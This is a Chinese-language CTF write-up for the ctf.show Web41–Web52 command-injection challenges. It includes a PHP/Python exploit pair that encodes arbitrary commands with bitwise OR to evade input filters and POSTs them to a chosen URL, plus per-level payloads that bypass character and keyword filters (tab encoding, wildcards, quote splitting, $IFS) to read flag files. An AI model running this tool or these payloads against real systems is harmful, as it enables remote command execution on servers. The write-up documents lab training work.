前言
好,开冲了
Web41
过滤了0-9 a-z ~ + $[]{}-\等 使用的是post请求
这里直接用脚本 脚本的路径也附上
https://blog.csdn.net/miuzzx/article/details/108569080
把php脚本和python脚本放到一起
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
?>
php脚本会生成rcetxt文件
让后运行python脚本
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)
在shell里运行
用法:
python 你的python脚本名字.py <url>
function 命令函数 使用system
让后运行我们的命令 tac flag.php
Web42
这个 2>&1是把错误输出绑定到标准输出
>dev/null 把c的命令抛掷黑洞里使其无法执行
双写绕过 is阻断 最后把is抛掷黑洞而分号前面执行
?c=tac flag.php;is
Web43
过滤了;cat
所以上一关的双写;是无法被识别的
我们使用|| 或者&& 都可以执行 如果使用&&要进行url编码
||是有能够执行就执行 &&是前面执行过在执行后一个
?c=tac flag.php||ls
Web44
不解释,秒了
?c=tac fla*||ls
Web45
多过滤了空格 %09 %0a都能过 直接秒
?c=tac%09fla*||ls
Web46
过滤cat flag 空格 0-9 反斜杠 $ 以及*
空格用%09过滤 虽然是过滤0-9但%09解码之后不属于数字可以使用 flag可以用?绕过
?c=tac%09fla?.php||ls
Web47
比上一关过滤了很多读取命令 但是没过滤tac
上一关的payload一把梭
?c=tac%09fla?.php||ls
Web48
还是没有过滤tac 上上一关的payload照样打 秒了
?c=tac%09fla?.php||ls
Web49
多了百分号 但是一样%09不会被转义成%上上上一把payload照样打通
?c=tac%09fla?.php||ls
Web50
%09被过滤了 %26是&&符号也被过滤了这下不得不用不带空格的命令了
方法一
用nl来查看 ”双单引号绕过flag ”命令里默认忽略
?c=nl<fla''g.php||ls
方法二
tac查看
?c=tac<fl''ag.php||ls
Web51
多了tac
上把的nl可以过 当然tac可以用ta”c过
方法一如上一关nl过
?c=nl<fla''g.php||ls
方法二
tac过
?c=ta''c<fla''g.php||ls
Web 52
过滤的更多了><也给过滤了但是$IFS没有过滤 $IFS在linux中是分隔符的意思
用cp mv进行看看
?c=cp${IFS}fla?.php${IFS}u.txt||ls
发现
假的flag
列一下根目录
?c=ls${IFS}/||ls
flag应该在根目录中
?c=ta''c${IFS}/fla?||ls
拿到flag
暂无评论内容